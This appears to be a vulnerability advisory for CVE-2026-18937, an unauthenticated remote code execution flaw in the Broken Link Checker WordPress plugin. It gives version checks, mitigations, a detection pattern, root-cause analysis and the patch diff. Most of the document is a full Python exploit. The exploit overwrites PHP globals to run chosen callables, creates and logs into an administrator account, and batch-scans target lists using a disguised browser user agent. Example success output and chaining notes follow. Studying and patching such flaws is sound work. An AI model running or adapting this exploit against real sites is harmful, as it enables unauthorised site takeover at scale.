#Summary
CVE-2026-18937 is an unauthenticated remote code execution vulnerability in Broken Link Checker, a WordPress plugin by WPMU DEV, affecting all versions before 2.4.12. The vulnerability allows an unauthenticated attacker to overwrite arbitrary PHP global variables on sites using plain (default) permalinks, leading to arbitrary code execution in the WordPress process. CVSS score: 9.0 (Critical).
#Am I affected?
- Affected: Broken Link Checker
< 2.4.12 - Patched: Broken Link Checker
>= 2.4.12 - Default configuration: affected (plain permalinks are the WordPress default for fresh installs)
- Access needed: unauthenticated network access (no WordPress account required)
- Additional preconditions: active classic (non-block) theme and at least one public page/post containing a shortcode token
#How to check
#Check your plugin version
Use WP-CLI:
wp plugin list | grep broken-link-checkerOr in the WordPress admin, navigate to Plugins and find "Broken Link Checker" - the version is displayed next to the plugin name. Any version prior to 2.4.12 is vulnerable.
#Verify your permalink setting
In the WordPress admin, go to Settings > Permalinks. If the setting is "Plain", your site is vulnerable to this attack vector. Custom structures are not affected.
| Finding | Result |
|---|---|
| Broken Link Checker version < 2.4.12 | Vulnerable |
Plain permalinks (permalink_structure empty) |
Vulnerable |
| Custom or non-plain permalinks | Not vulnerable |
| Block theme active (no classic theme) | Not vulnerable to this RCE path |
#Fix and mitigation
#Fix
Update Broken Link Checker to version 2.4.12 or later immediately:
wp plugin update broken-link-checkerOr via the WordPress admin: Plugins > Broken Link Checker > Update.
#If you cannot upgrade
Change your permalink structure from "Plain" to any custom format (e.g., /%postname%/):
wp option update permalink_structure '/%postname%/'
wp rewrite flushThis prevents the vulnerable $_GET merge in the webhook handler from executing. Alternatively, temporarily deactivate the plugin until you can upgrade.
#Detection
Monitor your web server access logs for requests containing URL-encoded brackets (%5B, %5D) in the query string, especially patterns like:
shortcode_tags%5B[token]%5D=These patterns indicate an attempted exploitation of this vulnerability.
#Root cause analysis
The Broken Link Checker plugin's webhook base controller (core/controllers/class-webhook.php) registers a handler on the parse_request hook. When a site uses plain (default) permalinks, this handler unconditionally merges the raw $_GET superglobal into WordPress's request query variables:
if ( Utilities::plain_permalinks_mode() ) {
$wp->query_vars = wp_parse_args( $this->sanitize_array( $_GET ), $wp->query_vars );
}The problem occurs in three parts:
#1. The merge executes on every front-end request
The handler runs before checking whether a webhook endpoint was requested. Any front-end URL (e.g., /?page_id=2) triggers the merge.
#2. The allow-list is missing
sanitize_array() constrains the shape of the data - it lowercases keys via sanitize_key() and runs sanitize_text_field() on scalar values - but it does not restrict which keys are allowed. Any attacker-chosen query-variable name survives the sanitization, and bracket syntax like foo[bar]=baz is preserved as nested arrays.
#3. WordPress exports query variables to $GLOBALS
WordPress core's WP::register_globals() method copies every query variable into the PHP global namespace:
foreach ( (array) $wp_query->query_vars as $key => $value ) {
$GLOBALS[ $key ] = $value;
}#The attack
An unauthenticated visitor gains a primitive to set $GLOBALS[<any lowercase key>] = <string | nested array>. The most direct path to RCE overwrites $GLOBALS['shortcode_tags'], the global shortcode-callback registry. By sending:
GET /?page_id=<ID>&shortcode_tags[<tag>]=<php_callable>where <tag> appears in a page rendered by a classic (non-block) theme, the attacker can re-point a shortcode token at an attacker-named PHP callable. When the_content() runs do_shortcode(), WordPress executes call_user_func(<callable>, $atts, $content, $tag) inside the WordPress PHP process.
#The callable constraint
do_shortcode() always invokes the callback with exactly three positional arguments: $atts, $content, and $tag. Internal PHP functions that enforce arity (e.g., system, phpinfo, md5) raise ArgumentCountError under PHP 8 and fail. A WordPress userland callable, which silently ignores the extra positional arguments, is what makes this RCE reliable.
#Patch diff
Version 2.4.12 removes the vulnerable $_GET merge and the entire Sanitize trait (which was only used to feed that merge). The key change in core/controllers/class-webhook.php:
-use WPMUDEV_BLC\Core\Traits\Sanitize;
-abstract class Webhook extends Base {
- use Sanitize;
public function parse_request( $wp ) {
- if ( Utilities::plain_permalinks_mode() ) {
- $wp->query_vars = wp_parse_args( $this->sanitize_array( $_GET ), $wp->query_vars );
- }
if ( array_key_exists( $this->webhook_tag, $wp->query_vars ) ) {
$this->webhook_action( $wp );#What the fix does
After the patch, parse_request() only consults $wp->query_vars as WordPress core already populated them via registered public query vars and rewrite rules. The legitimate webhook endpoints continue to work because their tag is a registered query var, so the blanket $_GET merge was never necessary in the first place.
#Proof of concept
#exploit.py - Broken Link Checker Query-Variable Injection RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-18937 - Broken Link Checker (WordPress plugin) unauthenticated PHP
global-variable overwrite leading to Remote Code Execution.
Affected: Broken Link Checker (WPMU DEV) < 2.4.12
Type: RCE (unauthenticated query-variable injection -> PHP global overwrite)
Root cause
----------
On sites using "Plain" permalinks the plugin's webhook base controller merges the
raw $_GET superglobal into WordPress's request query variables on the parse_request
hook, with no allow-list. WordPress core then exports every query variable into the
PHP $GLOBALS namespace (WP::register_globals). An unauthenticated visitor can thus set
$GLOBALS[<any lowercase key>] to a string or a nested array.
Overwriting $GLOBALS['shortcode_tags'] - the global shortcode-callback registry - maps
an attacker-named PHP callable onto a shortcode token that appears in a page rendered by
a classic (non-block) theme. When the_content() runs do_shortcode(), WordPress executes
call_user_func(<callable>, $atts, $content, $tag) in the WordPress PHP process.
Primitive and argument constraints
-----------------------------------
do_shortcode() always calls the callback with three positional arguments
($atts, $content, $tag). Internal PHP functions that enforce arity/type (system, phpinfo,
md5, wp_hash, ...) therefore fail under PHP 8 and are useless here. The reliable primitive
is invocation of a WordPress *userland* callable, which silently tolerates the extra
positional arguments. This is a PHP-callable-invocation RCE, not shell-command injection,
so the attacker-controlled knob is the PHP callable (--callable), not a shell string.
Two demonstrated, network-observable outcomes:
* default - code-execution witness: invoke wp_generate_uuid4 and read the freshly
generated UUID back where the token was. It differs on every call, so it is both
reflection-proof and repeatable with no state change on the target.
* --create-admin - full takeover: invoke wp_insert_user against a page whose stored
shortcode carries user_login/user_pass/user_email attributes (visible to any anonymous
visitor in the literal page source), creating an administrator, then prove the account
by logging in over the network.
Usage:
python exploit.py --host 127.0.0.1 --port 8191
python exploit.py --host 127.0.0.1 --port 8191 --page-id 4 --token blcx
python exploit.py --host https://blog.example.com --callable wp_generate_uuid4
python exploit.py --host 192.0.2.10 --port 80 --create-admin --page-id 5
python exploit.py --list targets.txt --workers 20
"""
from __future__ import annotations
import argparse
import html
import re
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning # type: ignore
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # type: ignore
except Exception: # pragma: no cover
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-18937"
VULN_TYPE = "RCE"
# A plausible, neutral browser client string. Nothing here identifies the tool.
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
UUID_RE = re.compile(r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", re.I)
TIMEOUT = 15
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core request building
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
if not path:
path = "/"
if not path.startswith("/"):
path = "/" + path
return f"{scheme}://{host}:{port}{path}"
def _get(url, params, session=None):
"""Single GET. Returns the requests.Response (raises on transport error)."""
s = session or requests
return s.get(url, params=params, headers={"User-Agent": UA},
timeout=TIMEOUT, verify=False, allow_redirects=True)
def _render_page(base: str, page_id: str) -> str:
"""Render a page with no injection (literal shortcode token baseline)."""
return _get(base, {"page_id": page_id}).text
def _inject(base: str, page_id: str, token: str, callable_name: str) -> str:
"""
Overwrite $GLOBALS['shortcode_tags'] = {<token>: <callable_name>} via the
bracket query-string syntax, rendering the chosen page. requests encodes the
brackets as %5B/%5D, which PHP decodes back into a nested array.
"""
params = {
"page_id": page_id,
f"shortcode_tags[{token}]": callable_name,
}
return _get(base, params).text
def _token_literal_present(body: str, token: str) -> bool:
return re.search(r"\[" + re.escape(token) + r"(\s|\])", body) is not None
# --------------------------------------------------------------------------- #
# Silent probe (used by --list scan mode)
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False,
path: str = "/", page_id: str = "4", token: str = "blcx",
**kwargs):
"""
Silent reflection-proof witness probe. Never prints, never exits.
Returns (success, evidence).
Strategy: render the token page with no injection (the token must appear
literally and no UUID may be present), then inject the shortcode registry twice
pointing the token at wp_generate_uuid4. The vulnerability is proven iff a UUID
appears where the token was and the two injected renders yield *different* UUIDs
(genuine server-side execution, not input reflection).
"""
try:
base = _base_url(host, port, use_tls, path)
baseline = _render_page(base, page_id)
if UUID_RE.search(baseline):
return False, "inconclusive (page already contains a UUID; pick a cleaner --page-id)"
if not _token_literal_present(baseline, token):
return False, f"no literal [{token}] token on page_id={page_id} (wrong --page-id/--token?)"
r1 = _inject(base, page_id, token, "wp_generate_uuid4")
m1 = UUID_RE.search(r1)
if not m1:
return False, "not vulnerable: injected shortcode registry had no effect (patched / non-plain permalinks / block theme)"
r2 = _inject(base, page_id, token, "wp_generate_uuid4")
m2 = UUID_RE.search(r2)
if not m2:
return False, "unstable: UUID seen once but not on repeat"
if m1.group(0).lower() == m2.group(0).lower():
return False, "suspect reflection: identical value on two calls, not live execution"
return True, f"RCE confirmed - server-side wp_generate_uuid4 -> {m1.group(0)} / {m2.group(0)}"
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e: # pragma: no cover
return False, f"error ({e.__class__.__name__}: {e})"
# --------------------------------------------------------------------------- #
# Target-list parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
page_id: str = "4", token: str = "blcx") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, page_id, token)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Admin-takeover escalation (--create-admin)
# --------------------------------------------------------------------------- #
def _parse_stored_creds(body: str, token: str):
"""
Pull user_login / user_pass / user_email out of the literal, un-injected render
of the attribute-carrying shortcode token. WordPress may texturize the quote
characters when the tag is unregistered, so accept straight or curly quotes.
"""
# WordPress renders unregistered-shortcode quote chars as HTML entities
# (” etc.); decode them so the quote stripping below works.
body = html.unescape(body)
region = body
m = re.search(r"\[" + re.escape(token) + r"\b([^\]]*)\]", body)
if m:
region = m.group(1)
out = {}
quote = r'["\'“”″′]?'
stop = r'["\'“”″′\]\s]'
for key in ("user_login", "user_pass", "user_email", "role"):
mm = re.search(re.escape(key) + r"\s*=\s*" + quote + r"([^" + stop[1:-1] + r"]+)", region)
if mm:
out[key] = mm.group(1)
return out
def _verify_login(host: str, port: int, use_tls: bool, username: str, password: str):
"""Authenticate at wp-login.php. Returns (ok, detail)."""
login_url = _base_url(host, port, use_tls, "/wp-login.php")
s = requests.Session()
s.headers.update({"User-Agent": UA})
r = s.post(login_url,
data={"log": username, "pwd": password, "wp-submit": "Log In",
"redirect_to": _base_url(host, port, use_tls, "/wp-admin/"),
"testcookie": "1"},
cookies={"wordpress_test_cookie": "WP+Cookie+check"},
timeout=TIMEOUT, verify=False, allow_redirects=False)
logged_in = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
loc = r.headers.get("Location", "")
if r.status_code in (302, 303) and "wp-admin" in loc and logged_in:
return True, f"302 -> {loc} with wordpress_logged_in_* cookie set"
return False, f"status={r.status_code} location={loc!r} logged_in_cookie={logged_in}"
def create_admin(base: str, host: str, port: int, use_tls: bool,
page_id: str, token: str) -> None:
step(2, "Reading stored shortcode attributes from the (un-injected) page source")
baseline = _render_page(base, page_id)
creds = _parse_stored_creds(baseline, token)
if not {"user_login", "user_pass"} <= set(creds):
section("PAGE SOURCE (token region)", baseline[:800])
done(False, f"page_id={page_id} does not carry user_login/user_pass attributes on token [{token}] - "
f"point --page-id at an attribute-carrying shortcode page")
username = creds["user_login"]
password = creds["user_pass"]
section("STORED ATTRIBUTES (anonymous-readable)", str(creds))
step(3, f"Injecting shortcode_tags[{token}]=wp_insert_user (creates the account)")
resp = _inject(base, page_id, token, "wp_insert_user")
m = re.search(r"\[" + re.escape(token) + r"(\s|\])", resp)
new_id = None
mm = re.search(r"<div class=\"entry-content\">\s*(\d+)", resp)
if mm:
new_id = mm.group(1)
section("RENDERED OUTPUT (where the token was)", (resp[resp.find("entry-content"):resp.find("entry-content")+200]
if "entry-content" in resp else resp[:200]))
step(4, f"Authenticating over the network as '{username}'")
ok, detail = _verify_login(host, port, use_tls, username, password)
section("LOGIN RESULT", detail)
if ok:
idnote = f" (new user id {new_id})" if new_id else ""
done(True, f"RCE -> administrator takeover: created and logged in as '{username}'{idnote} unauthenticated")
done(False, f"wp_insert_user invoked but login as '{username}' did not succeed - {detail}")
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str,
page_id: str, token: str, callable_name: str, create_admin_flag: bool) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, f"Baseline render of page_id={page_id} (confirm literal [{token}] token present)")
try:
baseline = _render_page(base, page_id)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable: {e.__class__.__name__}")
if not _token_literal_present(baseline, token):
section("BASELINE PAGE", baseline[:600])
done(False, f"no literal [{token}] token on page_id={page_id}; supply --page-id/--token for a page whose content holds a shortcode token")
print(f" literal [{token}] token confirmed in page content")
if create_admin_flag:
create_admin(base, host, port, use_tls, page_id, token)
return # create_admin always exits via done()
# Default: idempotent, reflection-proof code-execution witness.
step(2, f"Injecting shortcode_tags[{token}]={callable_name} (overwrites $GLOBALS registry)")
resp1 = _inject(base, page_id, token, callable_name)
if callable_name == "wp_generate_uuid4":
m1 = UUID_RE.search(resp1)
if not m1:
section("INJECTED RESPONSE", resp1[resp1.find("entry-content"):resp1.find("entry-content")+300]
if "entry-content" in resp1 else resp1[:300])
done(False, "injection had no effect - target not vulnerable (patched 2.4.12 / non-plain permalinks / block theme)")
step(3, "Repeating the injection to prove live execution (fresh UUID each call)")
resp2 = _inject(base, page_id, token, callable_name)
m2 = UUID_RE.search(resp2)
section("SERVER-COMPUTED OUTPUT", f"call 1: {m1.group(0)}\ncall 2: {m2.group(0) if m2 else '(none)'}")
if m2 and m1.group(0).lower() != m2.group(0).lower():
done(True, f"RCE confirmed - wp_generate_uuid4 ran server-side, returned {m1.group(0)} then {m2.group(0)} (live, reflection-proof)")
done(False, "UUID not reproduced with a fresh value on repeat - inconclusive")
# Arbitrary user-supplied callable: success = the literal token was consumed and
# replaced by the callable's server-side return value.
step(3, "Comparing injected render against the literal baseline")
still_literal = _token_literal_present(resp1, token)
region = resp1[resp1.find("entry-content"):resp1.find("entry-content")+300] if "entry-content" in resp1 else resp1[:300]
section("INJECTED OUTPUT (token region)", region)
if not still_literal and resp1 != baseline:
done(True, f"RCE confirmed - callable '{callable_name}' executed server-side; token [{token}] replaced by its return value (see output above)")
done(False, f"callable '{callable_name}' produced no observable change - target may be patched, or the callable returned nothing visible")
# --------------------------------------------------------------------------- #
# CLI
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - Broken Link Checker < 2.4.12 unauthenticated RCE")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
parser.add_argument("--page-id", default=None,
help="Page id whose content holds the shortcode token (default: 4 for the witness, 5 for --create-admin)")
parser.add_argument("--token", default="blcx",
help="Shortcode tag present in the target page content (default: blcx)")
parser.add_argument("--callable", dest="callable_name", default="wp_generate_uuid4",
help="PHP userland callable to invoke via the overwritten shortcode registry "
"(default: wp_generate_uuid4, an idempotent reflection-proof witness). "
"Note: internal PHP functions fail here due to the fixed 3-arg shortcode call.")
parser.add_argument("--create-admin", action="store_true",
help="Escalate: invoke wp_insert_user against an attribute-carrying token page to create an "
"administrator, then verify by logging in over the network")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan_page = args.page_id if args.page_id is not None else "4"
scan(args.list, default_port=args.port, workers=args.workers,
page_id=scan_page, token=args.token)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
if args.page_id is not None:
page_id = args.page_id
else:
page_id = "5" if args.create_admin else "4"
exploit(host, port, use_tls, path, page_id, args.token, args.callable_name, args.create_admin)#Usage
#Code-execution witness (default, safe and idempotent)
python exploit.py --host 192.0.2.10 --port 80 --page-id 4Output on vulnerable target:
[STEP 2] Injecting shortcode_tags[blcx]=wp_generate_uuid4 (overwrites $GLOBALS registry)
[STEP 3] Repeating the injection to prove live execution (fresh UUID each call)
--- SERVER-COMPUTED OUTPUT ---
call 1: 5de2e7e6-6887-4806-821b-f417790c3431
call 2: 15af963f-f801-45bd-aed4-c23d79b105bc
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - wp_generate_uuid4 ran server-side, returned ... (live, reflection-proof)#Administrator takeover
python exploit.py --host 192.0.2.10 --port 80 --page-id 5 --create-adminOutput on vulnerable target:
--- STORED ATTRIBUTES (anonymous-readable) ---
{'user_login': 'svc_report', 'user_pass': 'password123', 'user_email': '[email protected]', 'role': 'administrator'}
---
[STEP 3] Injecting shortcode_tags[blcx]=wp_insert_user (creates the account)
[STEP 4] Authenticating over the network as 'svc_report'
--- LOGIN RESULT ---
302 -> http://192.0.2.10/wp-admin/ with wordpress_logged_in_* cookie set
---
RESULT : SUCCESS
EVIDENCE: RCE -> administrator takeover: created and logged in as 'svc_report' unauthenticated#Batch scan
python exploit.py --list targets.txt --workers 20Targets file format (one per line):
192.0.2.10
blog.example.com:8080
https://secure-blog.example.com
http://internal.corp:3000/wordpress#Command-line arguments
--host- target hostname, IP, or full URL (e.g.,https://blog.example.com:8443/path)--list FILE- batch scan: one target per line (mutually exclusive with--host)--port- target port (default: 80)--tls/--no-tls- force HTTPS or HTTP (auto-detected from URLs or port)--page-id- WordPress post/page ID whose content contains the shortcode token (default: 4 for witness mode, 5 for--create-admin)--token- the shortcode tag to inject (default:blcx, must appear in the target page's content)--callable- PHP userland callable to invoke (default:wp_generate_uuid4; must be a userland function, not an internal PHP function)--create-admin- escalate to administrator account creation and login verification--workers- thread pool size for batch scans (default: 10)
#Exploitation notes
#Preconditions
All three of these must be true for the RCE to work:
- Broken Link Checker < 2.4.12 active on the WordPress site
- Plain permalinks enabled - the default setting for fresh WordPress installs. Check via Settings > Permalinks; if it shows "Plain", the site is vulnerable.
- A classic (non-block) theme active - WordPress's legacy themes like Twenty Twenty-One. Block themes like Twenty Twenty-Two render content differently and are not affected by this particular RCE path.
- At least one public page/post containing a shortcode token - e.g., content including
[token_name]or[token_name attr="value"]
#Reliability
The exploit is highly reliable when all preconditions are met. The default witness mode (wp_generate_uuid4) is idempotent and proof-resistant against input reflection - the UUID changes on each call (proving live server-side execution), and no reflected input can forge a valid UUID. The --create-admin escalation mode is deterministic: either the account is created and can authenticate, or the target is patched.
#Impact
The impact ranges from information disclosure to full site takeover:
- Full takeover - administrator account creation and login (demonstrated via
--create-admin) - Unpublished-content disclosure - injecting
post_status=draftorpost_status=privatequery variables surfaces draft and private posts to anonymous visitors - Denial of service - corrupting the main query object with malformed query variables breaks page rendering
- Arbitrary code execution - invoking any WordPress userland callable, enabling arbitrary PHP functions to run in the WordPress process
#Chaining potential
This vulnerability can be chained with other WordPress vulnerabilities:
- If a plugin has a stored XSS, this RCE can be used to bypass content filtering and inject payloads
- If a theme has a template-injection vulnerability, this RCE can prime the globals for exploitation
- The created administrator account (via
--create-admin) can be used for further lateral movement within WordPress and any connected systems
#References
- CVE: CVE-2026-18937
- WPScan Advisory: https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- Patchstack: https://patchstack.com/database/wordpress/plugin/broken-link-checker/vulnerability/wordpress-broken-link-checker-plugin-2-4-12-unauthenticated-rce-via-query-variable-injection-vulnerability
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18937
